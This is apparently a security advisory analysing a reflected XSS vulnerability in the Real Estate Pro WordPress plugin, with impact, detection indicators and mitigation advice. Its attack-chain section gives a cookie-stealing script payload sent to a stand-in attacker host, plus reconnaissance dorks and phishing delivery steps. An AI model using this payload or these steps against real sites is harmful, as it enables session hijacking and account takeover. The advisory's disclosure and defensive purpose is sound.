CVE-2025-13504: 
WordPress vulnerability analysis and mitigation

CVE-2025-13504 is a Reflected Cross-Site Scripting (XSS) vulnerability in the e-plugins Real Estate Pro WordPress plugin, affecting all versions up to and including 2.1.4. The vulnerability was reported by researcher João Pedro S Alcântara (Kinorth) on August 11, 2025, and publicly disclosed by Patchstack on January 7–8, 2026. It carries a CVSS v3.1 base score of 7.1 (High), assigned by Patchstack (Patchstack, NVD).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation), specifically a Reflected XSS flaw. User-supplied input is not properly sanitized or encoded before being reflected back in the HTTP response, allowing an attacker to inject arbitrary JavaScript into the page rendered in a victim's browser. Exploitation requires no authentication (unauthenticated attacker) but does require user interaction — a privileged user must be tricked into clicking a malicious link or visiting a crafted URL. The vulnerability falls under OWASP Top 10 category A3: Injection (Patchstack).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of a victim's browser session on the affected WordPress site. This can lead to session hijacking, credential theft, unauthorized actions performed on behalf of the victim (including administrative actions if an admin is targeted), and injection of malicious redirects or advertisements into the site. The changed scope (S:C) in the CVSS vector indicates the impact extends beyond the vulnerable component itself, potentially affecting other users or systems interacting with the site (Patchstack, NVD).

No official patch is currently available for this vulnerability, and Patchstack notes that vulnerabilities of this type are commonly used in mass-exploit campaigns targeting thousands of WordPress sites regardless of their size or popularity. The EPSS score is approximately 0.029% (0.000290), indicating a currently low but non-negligible probability of exploitation in the near term. There is no public evidence of active in-the-wild exploitation or known threat actor attribution at this time, and the vulnerability is not listed in the CISA KEV catalog. Patchstack has issued a virtual patching/mitigation rule to block attacks until an official fix is released (Patchstack).

1. Reconnaissance: Identify WordPress sites running the Real Estate Pro plugin (version ≤ 2.1.4) using tools like WPScan, Shodan, or Google dorks targeting plugin-specific file paths (e.g., inurl:/wp-content/plugins/real-estate-pro/).
2. Identify vulnerable parameter: Analyze the plugin's front-end pages and URL parameters that are reflected in the HTTP response without proper sanitization.
3. Craft malicious URL: Construct a URL containing a reflected XSS payload in the vulnerable parameter, for example: https://target-site.com/real-estate-page/?param=<script>document.location='https://attacker.com/steal?c='+document.cookie</script>.
4. Deliver payload: Send the crafted URL to a target user (e.g., a site administrator) via phishing email, social engineering, or by embedding it in a message on a platform the target uses.
5. Victim interaction: When the target clicks the link and loads the page in their browser, the injected script executes in their session context.
6. Achieve objective: The attacker captures session cookies, performs actions as the victim (e.g., creating admin accounts, installing backdoors), or redirects the victim to a phishing page (Patchstack).

• Network: HTTP requests to Real Estate Pro plugin pages containing URL-encoded script tags or JavaScript event handlers (e.g., %3Cscript%3E, onerror=, onload=) in query parameters; outbound requests from victim browsers to unknown external domains shortly after visiting plugin pages.
• Logs: Web server access logs showing GET requests to Real Estate Pro plugin URLs with suspicious parameter values containing HTML/JavaScript injection strings; referrer headers pointing to external attacker-controlled domains.
• Browser/Session: Unexpected session cookie exfiltration events; users reporting being redirected to unknown sites after clicking links related to the WordPress site.
• File System: Presence of newly created or modified WordPress admin accounts not authorized by site administrators; unexpected plugin or theme files added to the WordPress installation following a potential compromise.

As of the disclosure date, no official patch from the plugin developer (e-plugins) is available for Real Estate Pro. Site administrators should remove or deactivate the plugin until a patched version is released. Patchstack users benefit from a virtual patching rule that blocks exploitation attempts automatically. As a general hardening measure, implement a Web Application Firewall (WAF) with XSS filtering rules, and ensure WordPress core, themes, and all plugins are kept up to date (Patchstack).

Patchstack, the CNA that assigned and disclosed this CVE, classified it as medium priority and noted that reflected XSS vulnerabilities of this type are frequently leveraged in mass-exploit campaigns against WordPress sites. The vulnerability was credited to researcher João Pedro S Alcântara (Kinorth), who reported it through Patchstack's vulnerability disclosure program in August 2025. No significant broader media coverage or notable social media commentary has been identified beyond the Patchstack advisory (Patchstack).